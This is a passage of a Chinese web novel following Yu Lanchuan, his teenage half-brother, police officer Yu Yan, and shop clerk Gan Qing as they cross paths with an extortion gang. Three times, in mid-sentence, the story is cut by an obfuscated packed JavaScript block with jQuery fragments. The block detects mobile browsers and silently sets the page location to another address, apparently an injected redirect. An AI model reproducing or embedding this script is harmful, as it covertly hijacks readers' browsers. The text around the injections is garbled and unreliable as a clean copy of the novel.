兰爷这个人,天生就有点冷心冷肺的,再加上一年到头在家住不了几天,跟这个便宜弟弟着实没什么感情。
然而,就在不久之前,喻兰川他妈得到了国外一个实验室的邀请,这位斗志昂扬的老太太,生命不息战斗不止,悍然决定举家征战美帝。但是在国外得安顿,现在也不确定要待几年,小儿子刚上高中,是个典型的理科偏科选手,英语不行,所以家人决定,先把他留在国内上学,观察一下成绩再说。
这对喻兰川来说,简直是一场飞来横祸,因为继父是他妈的跟屁虫,两口子一起飞了,他成了这小麻烦的临时饲养……不,临时监护人。
“我也不是说你做得不对。”于严见少年可怜巴巴的,语气就软了,“这个……不管怎么说,帮助别人的初衷也是好的嘛,值得表扬,对吧?我刚才给你哥打过电话了,他一会就来接你回家,先吃点东西垫垫——想吃冰激凌吗?”
刘仲齐把汉堡的包装纸捏成了一团,故作冷淡地说:“不用了,我自己坐地铁回去,反正我哥一点也不想来接我。”
“不想来他也得来。”正义的于警官脱口说,随后反应过来说走了嘴,又连忙往回找补,“不是,我的意思是,他怎么会不想来呢?你别看你哥那个人脸又冷,嘴又坏,那都是社畜加班狗的正常情绪,他还是很关心你的……”
刘仲齐看了他一眼,睁眼说瞎话的于警官良心一痛,编不下去了。
“我哥脸不冷,嘴也不坏。”少年沉默了一会,低着头说,“他没骂过我,也没跟我红过脸,我哥就会给我发红包。”
于严:“……”
“我期末考试进了年级前十,他给我发了个红包;为了讨好他打扫卫生,他又给我发了个红包;跟篮球队的同学打架写检查,检查让家长签名,他看也没看就签了,还是给我发红包。”刘仲齐恶狠狠地咬了一口汉堡,“可能哪天我杀人放火了,他也会给我发个红包,让我自己打车去自首吧。”
于警官听完,“吧唧”了一下嘴,心里非但不同情,还有点羡慕。
刘仲齐:“我哥是个自动红包机。”
“孩子,我现在跟你说这些,你可能还不懂。”于严斟词酌句地说,“等你长大就明白了,爱,是很虚无缥缈的,只有红包才是对你好的真谛。”
他这一番劝解虽然庸俗,但也是肺腑之言,不过委屈的中二少年没听进去,咬牙切齿地撕啃着汉堡。
“好吧,不爱听我不说了。”于严等他吃得差不多了,就开始问,“那咱们聊聊正事,给我描述一下那几个跟你要钱的人吧。一共几个人?”
“四个,一个老太太,还有三个男的,三个男人里有一个光头、一个刀疤脸,还有一个有点瘸,走路一歪一倒的。”
“多大年纪?听得出是哪的口音吗?”
“不知道,反正不是本地人。几个男的三十来岁吧。老太太……我不确定,一开始我看她又瘦又小,头发都白了,还驼背,觉得她可能有七八十岁了,”刘仲齐回忆片刻,脸上露出一点茫然,“但是你们来的时候,她是翻墙跑的。七八十岁的老太太……不可能会翻墙吧?”
泥塘后巷里,很多窄路连三轮车都开不进去,所以当时警车只能停在路口,离碰瓷团伙作案地点大概有两百多米。
就这两百米,等民警跑过去的时候,这伙碰瓷的已经翻墙跑了。
于严检查过死胡同里的墙,墙高近三米,墙壁非常平整,几乎没有可以攀爬借力的地方,墙上只有半个不太明显的脚印。如果不是于严亲眼看见最后一个人人影一闪,从墙头上消失,可能会怀疑有人报假警。
于严悄悄在笔记本上划下了“问兰爷”几个字,又问:“他们拦住你以后,是怎么跟你说的?”
“说我把老太太撞坏了,要赔钱。”
“赔多少?”
“一千。”
刘仲齐的运动鞋和书包都不便宜,能看出这孩子家境不错,手里压岁钱、零花钱不会少。但是未成年的男孩子,家里大人一般也不会让他管大笔的现金,要一千合适。这个团伙碰瓷经验还挺丰富,一眼就估计出这孩子能自由支配的数目。
半大小子,又傻又倔,禁不住吓唬,还好面,在外面被人欺负,一般也不好意思回家说,都是优质肥羊,宰完还想宰。
于严点点头。
刘仲齐接着说:“我说‘你们干嘛不去抢’,那个光头就说,‘不然呢,你以为我们是在跟你谈买卖啊’?我又说我没那么多现金,他们就抢了我的包,发现我钱包里真没多少现金,就拿了我的学生证,说让我回去准备好钱,过两天去学校找我要……我想报警,被他们发现了,就要抢我手机,不过这时候你们就来了,没抢走。”
这小子一本正经的,总试图装大人,装得不到位,字里行间老往外冒傻气,于严感觉他跟他那又人渣又精明的哥不像一个妈生的。
于严一边听,一边憋着笑,然而憋着憋着,他听出了不对劲:“等会,从这几个人围住你,到他们抢你手机,中间大概多长时间?”
刘仲齐不明所以地看了他一眼:“没多长时间,就说了几句话……两三分钟吧,怎么了?”
于警官皱眉,跟旁边同事对视了一眼——据匿名报警的人说,看见几个流氓围着个学生动手动脚,不知道在干什么,请他们派人看看。
但问题是,泥塘后巷的路很不好走,尤其夏天,道窄人又多,他们从出警到赶到案发地,绝对不止两三分钟。
也就是说,报警的人在刘仲齐被围住之前,就提前知道了碰瓷团伙的作案地点。
怎么知道的?
于严追问:“他们跟你要钱的时候,附近有别人吗?”
刘仲齐摇摇头:“……我没注意。”
“那你知道什么人会替你报警吗?”于严问,“仔细回忆一下,你跟那个老太太走的时候,是不是有人注意到了?”
刘仲齐一愣,无意识地捏了捏兜里那张卷边的名片:“确实……有一个人,当时她还拉了我一把,但我不确定……”
一个小时以后,大尾巴狼喻兰川才姗姗来迟,进门时一脸匆忙,装得挺像,就跟在电话里耍大牌的那货是狗一样。
“老太太你也敢扶,咱家是家财万贯吗?”喻兰川开车把便宜弟弟接回家,一路上既没有批评教育,也没有安慰,到了家,才不痛不痒地随口打趣了一句,又打发他去休息,“今天吓着了,早点洗洗睡,我跟你于哥说几句话。”
刘仲齐磨磨蹭蹭地答应一声,偷偷瞄他,好像在期待什么。
喻兰川看见他那小眼神,就暗自叹了口气,从兜里摸出手机:“行吧,那我给你发个红包压惊。”
刘仲齐的脸瞬间就黑了,一言不发,转身就走,还摔上了自己房间的门。
喻兰川有点震惊:“现在的熊孩子犯中二病,连钱都不要?”
于严正好跟同事交接班,他住得离喻兰川租屋不远,于是蹭了趟车,顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728774|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便来发小家坐一会,见状立刻腆着脸凑上来:“他不要我要,哥,还缺弟弟吗?要不我给你当儿子也行。”
喻兰川从冰箱里拎出一瓶苏打水扔给他:“给你搭顺风车还没收你钱呢。”
于严顺势往他的沙发上一仰:“子曾经曰过,‘芝兰生幽谷,君修道立德’,兰爷,说好的不慕富贵呢?”
“不慕富贵我慕什么,慕你吗?起开。”喻兰川踢开于严的脚,把死在沙发底下的扫地机器人拖出来,充上电,“我要是能挤出时间来,早出门拉滴滴去了。不知道爸爸现在有房贷?不说孝敬,还伸手要钱。”
“那你怎么不回家住?你妈不在,又没人烦你。”于严说,“租房多贵啊。”
“远,”喻兰川叹了口气,“早高峰十大拥堵路段,我得穿过仨。”
他记得自己刚毕业的时候,早高峰还是从清晨七点开始,现在已经提前到了六点半,再过两年,这些人可能都不打算睡了。
喻兰川回去住了两天,感觉自己不是回家睡觉,完全就是回家签个到,还不够费油的。
于严想了想,摇摇头:“我们坐地铁的赤贫体会不到土豪的痛苦。”
喻兰川一指门口:“没事快滚。”
于严就正色下来:“你弟今天这事,我得跟你说说。”
“那你长话短说吧。”喻兰川带听不带听地把眼镜摘下来,放在水龙头底下冲,漫不经心地说,“吃几次亏,以后就学聪明了,吃亏也是见世面。”
“今天这伙碰瓷的,我怀疑是你们那边的人。”于严说,“最近没有冲你来的吧?”
喻兰川一顿:“嗯?”
于严:“我亲眼看见的,三米的高墙,一扒一撑,人就没影了。”
“翻墙有什么稀奇的?大惊小怪。”喻兰川不感兴趣地“啧”了他一声,甩了甩眼镜上的水珠,顺手用衣角擦,“成年男子稍微锻炼一下,起跳摸高到三米很正常,部队军训‘上墙’你没见过吗?跑酷俱乐部里的小高中生都能给你表演五秒翻墙。”
“你是说,有个跑酷爱好者小团体在我市碰瓷……”
喻兰川不耐烦地打断他:“我举个例子说跑酷的会翻墙,没说翻墙的都跑酷,老咸,你这辈子还能学会‘逻辑’俩字怎么写吗?”
于严好脾气地摆摆手:“唉,你这个人,遇见蠢货就暴躁,暴躁伤得是你自己的肝啊,再说世界上的蠢货人多势众,你单枪匹马地跟我们生气,不觉得自己势单力薄吗?佛一点、平和一点,帅哥,别忘了你是养生达人。”
喻兰川:“……”
居然有点无法反驳。
于严:“但你弟弟说,这伙人里有一个满头白发的老太太。身高一米五左右,老年女性,徒手翻三米的墙,这就很奇怪了吧?当然,你们聪明人又要说,她也可能是化妆的……”
于警官话没说完,喻兰川已经拿起车钥匙到门口换鞋了:“走。”
于严:“啊?你真要跟我去啊?我这还没分析完呢,要是化妆……”
“要把你化妆成一个老太太,近距离接触还不穿帮,那得缩骨功。”喻兰川想起刚才那段佛系讨论,硬把“蠢货”俩字咽了,“快点,我晚上还得审报告呢。”
半个小时以后,他俩来到了那条死胡同。
“就是这。”于严指给他看,“我来的时候,那个人就是站在墙头上这个位置,那还有半个脚印。死胡同有三面墙,要是从里面那面墙翻过去,我还能理解,但是他是从旁边这侧翻墙走的。”
于严往后一比,窄巷的两面墙之间,将将够一个人展开双臂:“这完全没有助跑空间……卧槽!”
他话没说完,只见喻兰川忽然从他身边蹿了出去,两步就抵达了对面的墙,他纵身一跃,轻飘飘地攀上了墙顶,整个人在半空骤然蜷缩,脚尖在墙上一点,借力把自己甩了上去。
与此同时,于严听见“嘶拉”一声,有个小东西弹到了他脸上。
于严连忙打开手电一扫,只见喻总表情一言难尽地蹲在墙头,揪住了自己的衣襟——动作太大,衬衫扯了。
地上骨碌碌地滚过了一颗贝壳纽扣。
“骚,”于警官捂着脸说,“少侠,接着骚啊!”
喻兰川:“……闭嘴。”
5. 第四章
夜里大概九点,“星之梦”就该关门打烊了。
甘卿洗了脸上的妆,把浅色美瞳抠出来,用力眨了两下眼,五指往长发里一插,就把瀑布似的假发掀了下来,露出一团半长不短的头发,耷拉到下巴附近,让假发压得支楞八叉的。
然后她把细跟鞋褪下来,塞在柜台底下,光脚从里面蹚出了一双塑料拖鞋趿上,扒下了长裙,里面穿了件篮球背心,还有一条五分及膝的大裤衩。她伸了个懒腰,感觉自己的□□又解放了。
从神秘的吉普赛风“占星师”,解放成了一位很接地气的乡非女青年。
女青年拎起茶壶,把陈茶倒进花盆里,接了壶凉水,对着壶嘴嘬了两口,探头朝隔壁的“天意小龙虾”叫唤:“孟叔,有吃的吗?”
“天意小龙虾”的老板孟天意应声而出:“吃什么?自己盛饭,叔给你炒个菜?”
“我想吃烤鸡心!”
“嗨,烤串能当饭吃吗?”
“就想吃烤鸡心,”甘卿关灯锁门,“想一下午了,来客人的时候把词儿都说跑了——再给我来两斤麻小吧。”
这会,她说话的声音、腔调完全变了,既不飘忽,也没有了距离感,懒洋洋的。
“馋死你,正经饭不吃,就知道吃零食。”孟天意叹了口气,“行吧,等着!”
这会街上没那么多人了,潮热的晚风裹起大炒锅里的油烟气,兜头卷了她一脸,甘卿吸了一口,感觉很惬意,嘴角就自然而然地露出了一点笑意。
除了装神弄鬼的时候,她总是笑眯眯的,有人的时候对人笑,没人的时候就自己跟自己瞎开心。
闷热的仲夏夜突然起一阵小风、厚实的烤串“滋滋”冒油、沉沉的天幕渐次升起的星星、七扭八歪的小脏巷……在她眼里,好像都是美妙无比的人间盛景,都值得驻足欣赏。
烤串和麻小很快做好了,孟老板怕她上火,还给她拌了一盘凉菜,甘卿找了张桌子坐下,自己撒辣椒面,她似乎有点笨手笨脚的,手一哆嗦,辣椒就倒多了,她也不在意,随便甩了甩,一边哈气一边啃,啃得全神贯注,下嘴的姿势好像在吃米其林三星。
孟天意招呼完最后一拨客人,在围裙上擦干净手,拎着两瓶冰镇啤酒过来。
甘卿接过去,跟他碰了一下,直接对着酒瓶喝,一气喝了小半瓶,辣出来的热汗消去了七七八八,她享受地呵出一口凉气:“唔,有回甘,好喝。”
孟天意看她吃肉喝酒,馋虫都被勾出来了,不由自主地也跟着灌了一大口,可是喝到嘴里仔细一品,还是劣质啤酒的马尿味,并没有变成琼浆玉液:“杆儿,明天你也别卖那些破项链了,给我当活广告得了,你就坐这喝,我啤酒能多卖三成。”
“您说了算,”甘卿弯起眼睛冲他一笑,“反正都是您自己家的买卖。”
星之梦这个小店,其实是孟天意的亲戚开的,铺面都是他们家人的。老板在网上弄了个占星师的营销号,发点神神叨叨的东西,在淘宝卖点护身符、转运珠什么的,后来发现网上生意更好做,就专心当网红去了,小店没时间管,经营得有一搭没一搭的,雇了甘卿来看店。
甘卿每隔一两个月,就按老板的指示,去小商品批发市场进货,称一口袋几十块钱一斤的小饰品,回来挑好看的放柜台里,用灯光一烘托,等冤大头来买。
她每天上午十点开门营业,戴上假发假眼,穿上“工作服”,开始一天的表演,晚上天黑后看心情打烊,孟天意管她饭。这份工作她干得心满意足,因为孟叔手艺好,还让点菜。
孟天意说:“我昨天看你账本,这月生意不错啊,应该让你们老板给你发奖金。”
“夏天好卖,冬天估计就不行了。”甘卿捏着小龙虾细小的爪,给孟老板作揖,“您说发奖金,我可当真了,就缺钱,最近听说房租要涨,我都提心吊胆半个月了。”
孟天意问:“你还租房呢,多少钱?”
“一个月六百。”甘卿剥小龙虾的手法非常学问,“咔咔”捏两下,一拉一拽,整条虾肉就完整地出了壳,她捏着颤颤巍巍的虾肉,在盘子里的麻辣汤汁里一滚,麻辣鲜香,两斤小龙虾就啤酒,一会就见了底,可见是个资深吃货。
孟天意:“一个屋啊?”
甘卿“噗嗤”一声笑了:“哪那么便宜,一张床。”
“你也太能凑合了,”孟天意咧咧嘴,随后又说,“叔跟你说个事——我有个二姨,到年七十三,守寡四十多年了,以前跟我大哥过,现在我哥没了,嫂子带孩子改嫁了,老太太就成了一个人。”
甘卿一顿:“您节哀。”
“去年的事了,生老病死,没什么。”孟天意接着说,“大家伙本来商量着把她接出来,她又不愿意,说自己有家,不上别人家去。老太太虽然还硬朗,但毕竟这么大岁数了。她家是个小两居,她自己住一个屋,还剩一个屋现在空着,我就想找个靠得住的人陪陪她。老太太生活能自理,家务都不用操心,白天你该干什么干什么,晚上回家给她作个伴就行,有换灯泡之类登高上梯的事,你帮忙支把手,夜里要是万一有个急病,你给她打个120、通知一下亲友。房租是那么个意思就成,就按你现在的来,以后也不涨价。”
甘卿一听,还有这种好事,就说:“我肯定没问题啊,老太太住哪?”
“绒线胡同,”孟天意说,“一百一十号院。”
甘卿先是“哦”了一声,过了几秒才想起了什么,手上失了分寸,揪断了小龙虾的尾巴:“是……那个绒线胡同?”
“你不了解,那边跟以前不一样了,尤其这两年,房价涨得快,好多人都趁高价把房卖了,留在那的老人没剩几个了,”孟老板连忙压低声音说,“再说,就算是老人,也都不知道你是……怎么,还信不过你孟叔吗?”
“哪能?”甘卿回过神来,避开孟老板的视线,低头一笑,“就是……不太方便,我知道您是好意。再说我听说那边现在成学区房了,租一个次卧都三千起,这也太占您便宜了。”
“哎,这是什么话?”
甘卿把最后一只小龙虾叼进嘴里,麻利地收拾好了餐具,还顺手擦了桌子:“老太太那边要是有什么用得着我的,您说一声,我随叫随到,反正也没什么事,搬去住就算了。我这边刚交了半年房租,人家不退钱的,现在搬家太亏了。没事我就下班走了!”
孟老板:“杆儿……”
“不好意思。”这时,一个男人的声音突然插/进来,“这位女士,请问您是这家店的吗?”
甘卿和孟天意一起回头,只见一个民警走到了星之梦门口,圆寸头,一双笑眼,挺白净,长得喜气洋洋的,穿制服也没什么威慑力,属于外地群众一看就想上前问路的那种民警。
但孟老板却下意识地站了起来,有意无意地用胖墩墩的身体挡了甘卿一下,笑容可掬地问:“这是我侄子的店,他现在不在,您……是有什么事吗?我们有执照,您要看,我给您拿。”
民警的目光跳过他,落在甘卿身上。
孟老板忙说:“哦,这是我们家雇的收
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728775|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
银员。外地姑娘,刚来燕宁没几个月,哪都不熟,您有什么事问我就行。”
甘卿没吱声,安静地在墙角站着当摆设,路边摊上被油糊住的灯泡发出黯淡的光,落在她身上,只能看见小半张脸,照得她的肤色像年代久远的白瓷,低眉顺目的。
“别紧张,”民警温和地笑了笑,双手递出自己的证件,“我也是刚调到咱们片区,以后有什么困难,可以随时找我。”
孟天意没敢接,赔着笑,目光飞快地证件上扫了一眼,哦,这民警叫于严。
“是这样,今天傍晚,这附近发生了一起敲诈勒索未遂事件,受害者就是在这附近被骗走的,”于严和颜悦色地对甘卿说,“受害者自己说,这家店里的姐姐看见了,还拉了他一把,可惜他没听劝,是这么回事吧?我没别的意思,就是想找您了解点情况。”
甘卿抿嘴笑了一下,还是没出声,目光往旁边一偏,像是见了陌生人有点畏缩的样子。
可于严却莫名地觉出了一点违和感,说不上来。
“幸亏有热心群众及时报案,我们才能及时赶到,”于严说,“我想冒昧地问一下,是您报的警吗?”
孟老板忙说:“那怎么可能……”
甘卿:“嗯。”
两人几乎异口同声,嘴快的孟老板被噎成了一根人棍。
甘卿飞快地看了他一眼,低声解释说:“现在没什么人用公共电话了,人家一查就知道了。”
“哦,”孟老板尴尬地看了看她,又看了看警察,“我……这……下午客人太多,没注意外面。”
“那几个人不是第一次干这种事,他们一般把人骗到后面的小瞎巷里,讹完钱就跑,我以前碰见过,大概知道他们在哪动手。”甘卿轻轻地说,“碰上我就绕路了,怕惹麻烦,没告诉别人。今天这孩子刚从我店里出去,所以我才多了一句嘴。我们不敢沾他们这些人的事。”
于严一愣,这姑娘好像知道他要问什么,三言两语就把自己撇得很清,他直觉自己再要追问,可能也问不出什么了。
果然,甘卿开始一问三不知——
“他们是一直在这附近活动吗?”
“不知道。”
“从后巷翻墙跑,一般会跑到哪?”
“不太清楚。”
“上一个受害者呢?有什么特征还记得吗?”
“没什么印象了。”
于严:“……”
甘卿的目光往四周一扫,虽然已经很晚了,但附近小摊上吃夜宵的人还没走干净,一个穿制服的警察往这一站,把四面八方的目光都吸引了过来。她似乎有些懊恼,小声说:“我真的什么也不知道,我要是知道一通电话能把您招来,就不多管闲事了。”
孟老板搭腔说:“是啊警察同志,我们做小买卖的跑得了和尚跑不了庙,这些流氓干完坏事就跑,也抓不着,万一知道这事,以后常来找我们麻烦,那谁受得了啊?您也放我们一马吧。”
“孟老板都怕的流氓,可不是一般的流氓吧?”这时,停在不远处路口的车门响了一声,喻兰川不慌不忙地下了车。
因为衬衫扯了,他干脆把一排扣子都给撸下来了,下摆从裤腰里拽出一半,松松垮垮地垂下来半边,行动间,胸口到小腹一线若隐若现,为了配合这个狂野的造型,他还把眼镜摘了,头发抓乱,单手插在兜里,一脸冷酷地走过来。
正直的人民警察于严非常羞耻,因为觉得自己的同伴像个夜店头牌。
……卖身不卖笑的那种。
6. 第五章
作为一个女青年,甘卿碰见当街敞怀的男青年,不能免俗地要多瞟一眼。瞟完,她觉得这具□□要胸有胸、要腰有腰,拿出来展览一下也不算过分。
就是……在这么一个地沟油和炉灰满天飞的小破地方,有必要时髦得这么努力吗?
“我小时候在绒线胡同见过您一次。”喻兰川低头,目光扫过孟老板的手——孟老板的手很厚实,因为常年掌勺,沾着一点油渍,可皮肉却异常细腻,润得像玉,实在不像一双中年男人的手——对上孟老板迷茫的眼神,喻兰川隐晦地自我介绍说,“我姓喻。”
孟天意和甘卿的脸上同时空白了一瞬。
“哦,您!”孟天意把一直微微弯着的腰绷了起来,随后又压低了声音,“您……店里坐吧,请进。”
说完,他朝一边摆摆手,刻意没往甘卿身上看,装出一副很随便的样子打发她走:“杆儿,没你事了,先回去吧,路上小心点。”
甘卿在喻兰川出声的瞬间,就往后退了半步,从灯光里退了出去,本来就很低的存在感压得几乎没有了。
听见孟老板发话,她幽灵似的点了下头,没吭声,转身就走。
喻兰川本来没把她放在心上,习惯性地用余光一扫,正好扫见个模糊的侧影,他心里倏地一跳,脱口叫住了她:“等等。”
甘卿好像被他吓了一跳,僵硬地站住,小心翼翼地回头问:“叫我吗?”
她睁大的眼睛里满是惊惶不安,肩膀绷得很紧,战战兢兢的,像个受惊的野兔。
喻兰川这时看清了她的样子,顿时一阵失望,心里翻腾起来的记忆忽地蒸发了。
“没什么,”他神色淡了下来,疏离客气地说,“今天被他们拦下的是我弟弟,我跟您道个谢。”
甘卿木讷地应声:“不、不客气。”
喻兰川从鼻子里喷出口气,心想:“哪来的柴禾妞?话都说不利索。”
他那点耐性还得留着伺候甲方爸爸们,很不耐烦这种“三脚踹不出一个屁”来的货色,克制地一点头,他就不再理会这个路人甲,抬腿进了“天意小龙虾”店里。
甘卿想:“一惊一乍的,喻家准是祖坟让人扒了,出了个神经病。”
她低着头,步履匆匆地走了,像一团不起眼的影子。
泥塘后巷里的小路像迷宫,这个时间,除了露天烧烤一条街,其他地方都已经沉寂了下来,连夜风刮过,都凝滞了几分,年久失修的路灯亮不亮全看心情,有的还一闪一闪的。人在里面走,脚步声稍重就会起回音。
怪瘆人的。
不知道是不是因为独自走夜路害怕,甘卿的拖鞋刻意在地上摩擦,还哼起了歌。
她走到最背光的地方时,一个人影从她经过的小路口冒出来——如果刘仲齐在,就会认出来,这人是敲诈他的三个男人中的一个,那个光头的。
光头恶狠狠地对着甘卿的背影盯了片刻,抬脚追了上去。他是个彪形大汉,身高足有近一米九,走起路来,脚下却没有一点声音。
甘卿毫无察觉,顺着小巷拐了弯,静静的小路上,只有塑料拖鞋拖沓的脚步声,以及有些沙哑的女声:“越过山丘,虽然已白了头……”
光头略微缩紧下巴,脚步越来越快,攥起拳头,手臂上暴起了狰狞的肌肉和青筋。
“喋喋不休,时不我予的哀愁……”
光头猛地冲过了路口,然而随即,他脚下又来了个急刹车——眼前是个死胡同,漆黑一片,除了一辆报废的共享单车,什么都没有。
人呢?
这时,那“踢踢踏踏”的拖鞋声再一次响起,声音是从他后面传来的!
“还未如愿见着不朽……”
光头猝然回头,看见那个多管闲事的“收银员”从他身后的路口溜达了过去,她插着兜,脚也懒得抬,走得东倒西歪的,一眼也没往他这边看。
反正这附近也没人,光头干脆不再遮遮掩掩,吼了一声:“你站住!”
吼完,他迈开长腿,去追甘卿。光头奔到路口,多说也就是五六步,一晃身就过去了,可是就这么眨眼的功夫,方才的女人再一次凭空消失了。
“就把自己先搞丢——”
那歌声的调子将跑未跑,回荡在小巷里,响得四面八方都是,光头的后脊梁骨蹿起一层冷汗:“你是哪一路混的,别装神弄鬼!”
他这一嗓子吼出来,歌声和脚步声同时消失,一时间,四周只剩下夜风的低吟,窸窸窣窣、鬼鬼祟祟的。
光头的心跳快起来,下意识地屈膝提肘,两手护住头,屏住呼吸,戒备地四下观望。
突然,一种难以形容的战栗感流过了他全身,紧接着,一道不自然的风直逼他太阳穴,光头悚然发现,自己无论是躲是挡都来不及,他太阳穴上一阵刺痛,脑子里“嗡”一声,心想:“完了。”
可是预想中脑壳被打穿的血腥场面并没有发生,光头愣了好一会,才发现自己连油皮都没破,他茫然地伸手摸了一把,大好的头颅安稳的待在脖子上。
刚才仿佛只是风卷起了小沙石,正好崩到了他脸上。
光头没头苍蝇似的在小巷里找了一阵,连个脚印也没捡着,正在运气,这时,兜里的电话响了,他摸出来一看,声气凭空低了八度,几乎说得上温柔了:“喂,师娘……我啊?我在下午那个小杂巷里,刚才正好看见警察在……您说什么?”
他接完这通电话,顾不上再去找甘卿的麻烦,匆匆忙忙地跑了。
离开泥塘后巷,又过了两个十字路口,跑出了一脑门汗的光头闯进了一家麦当劳。
正在收拾桌子的店员被这凶神恶煞的大汉吓了一跳,猛地往后退了一步,瞪圆了眼睛。光头没顾上找碴,目光逡巡一圈,往角落里的一张桌子走去——傍晚时碰瓷未成年的老太太和另外两个男的就坐在墙角,三个人点了一包小薯条,没有人吃,好像只是摆个造型,脚底下堆着鼓鼓囊囊的行李包。
光头喘了口气,来到同伴身边:“钱不都交完了吗,怎么说不让住就不让住了?哪有这种道理,我找他们去!”
“他们把钱退给咱们了,”旁边的刀疤脸先叫了声“师兄”,又说,“没办法,今天突然有人查,房东也不知道怎么回事,不敢租了。”
光头正要说话,老太太却忽然抬头看了他一眼:“你遇上什么人了?”
光头一愣:“啊?哦,一个小店里当服务员的小贱皮,今天就是她吃盐管闲事,招来了警察,我想追上去收拾她一顿。”
老太太问:“追上了?”
“呃……那倒没有……这不是天太黑吗,我又不如她地头熟,走一半跟丢了,算她运气……”
他话没说完,老太太忽然倾身,伸手在光头太阳穴上抹了一把,抹下了一层淡淡的污渍,仔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728776|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
细看,像是烧烤摊上的炭灰。
光头看清了她的手指,激灵一下,出了一身冷汗。
“能在你脑袋上划道,就能给你开瓢,人家今天是不想和你一般见识。”老太太缓缓坐了回去,叹了口气,“知道那人是哪条街、哪家店的吗?”
光头低声下气地说:“知道,在都是烧烤摊的那条街上。”
老太太一点头:“她今天既然没伤人,就是除了自家门口,闲事不多管的意思。以后绕开她那就行了。”
光头不甘心地嘀咕:“一个柴禾似的丫头……”
“行了!”老太太略微提高了音量,打断他,“在家的时候,我怎么跟你说的?燕宁藏龙卧虎,碰上同道中人躲着点,别以为自己怪厉害的,井底之蛙!”
光头不敢吭声了,其他两个男人也都跟着低头听训。
小桌一时安静下来,四个人八只眼都落在桌面的薯条上,薯条已经凉透了,渗出来的油浸透了纸包,没人动,孤零零地躺在那,旁边却有几袋吮干净的番茄酱包,乱七八糟地横尸在桌。
好一会,刀疤脸打破了寂静:“师娘,咱们老在这待着也不是办法,实在不行今天就住旅馆吧?”
旁边一直没吭声的瘸子闷声闷气地说:“师娘住旅馆,咱们哥仨外面凑合一宿就行,反正夏天不冷。”
老太太似乎有点意动,伸手抓住了身边的小包袱,不知想起了什么,好一会,她又叹了口气,摇摇头。
而这时,甘卿也回到了自己的“家”。
她走得更慢、脚步更拖沓了,因为躲那个光头的时候,跑得有点急,左脚拖鞋上的塑料带崩断了大半根,就剩不到半公分惊险的黏着,她怕一抬脚,今天就得单脚蹦回去了。
老远看见家门口那几个熟悉的路灯,甘卿才松了口气,决定回去先跟室友借一双拖鞋凑合两天。
她现在住在一个非法群租房里,屋里用隔断打出了八个小隔间,每间有一张上下铺,住俩人。室友大部分是女的,大家约好了不在公共空间抽烟,也没人不冲厕所,所以还算干净。至于住她上铺的姑娘整天昼伏夜出,就都是小事了,甘卿是个在桥洞里都能睡着的人,不在乎这点打扰。
总得来说,她觉得自己的小窝便宜、干净,离上班的地方又近,什么都好,物美价廉。
可惜,这年月,物美价廉的东西往往伴随着一些其他的问题——比如不合法。
于是这天,甘卿一路哼着《山丘》走回家时,就发现“家”没了。
一群人拎着锅碗瓢盆,聚在楼底下。甘卿在其中碰见了她的室友,室友翻出一双拖鞋给她,并且告诉她,最近燕宁市开始了新一轮的群租房严打,他们的租屋被查封了,马上就得搬,不能过夜。
于是他们这一帮人,昼伏夜出的“猫头鹰”也好,早睡早起的“百灵鸟”也好,全都给轰到了大街上。
十五分钟后,甘卿抢救出自己简单的行李,蹲在路边的马路牙子上,抱着根煮玉米——玉米也是她猫头鹰室友给的,还挺甜。
乳白色的路灯在她身后一字排开,细瘦的灯杆舒展着,像一排翩翩起舞的天鹅,沿着宽阔的马路延伸,温柔起伏,串起了星星点点的万家灯火。
这天夜里,真是无巧不成书。
碰瓷的和管闲事的,不自量力的和深藏不露的,殊途同归,都在愁云惨淡中琢磨自己该去哪过夜。
7. 第六章
喻兰川顺路送了于严一趟,到家的时候,已经快十点了。小崽的屋门一直关着,也不知道是睡了,还是在生闷气。
啧,青春期。
喻兰川懒得理他,总觉得自己像他这么大的时候,心智成熟多了。
他在穿衣镜前看了一眼自己的衬衫,心如刀绞。要是单纯掉几个扣子,他还能动手缝一缝,可是胸口处沿着布料纹理,还撕开了一条手指长的口子,以他本人的手工水平,肯定是无力回天了。
“为什么非要逞能?”一日三省的喻兰川沉着脸,对着镜子审问自己,“在一条咸鱼面前,就算帅裂宇宙,有价值吗?能抵一次干洗费吗?你真是吃饱了撑的!”
可能是为了迎合兰爷的“罪己诏”——特别是最后一句——他的胃长而曲折地叫唤了一声。
喻兰川这才想起自己还没顾上吃晚饭,于是没精打采地把破衬衫脱下来,顺手塞进垃圾袋,掏出手机叫外卖。
他的手机支付连着银行卡,一花钱,就会收到账户余额变动的短信,面对弹出来的余额,喻兰川没敢多看,只扫了一眼,心就和胃一样冰凉了。
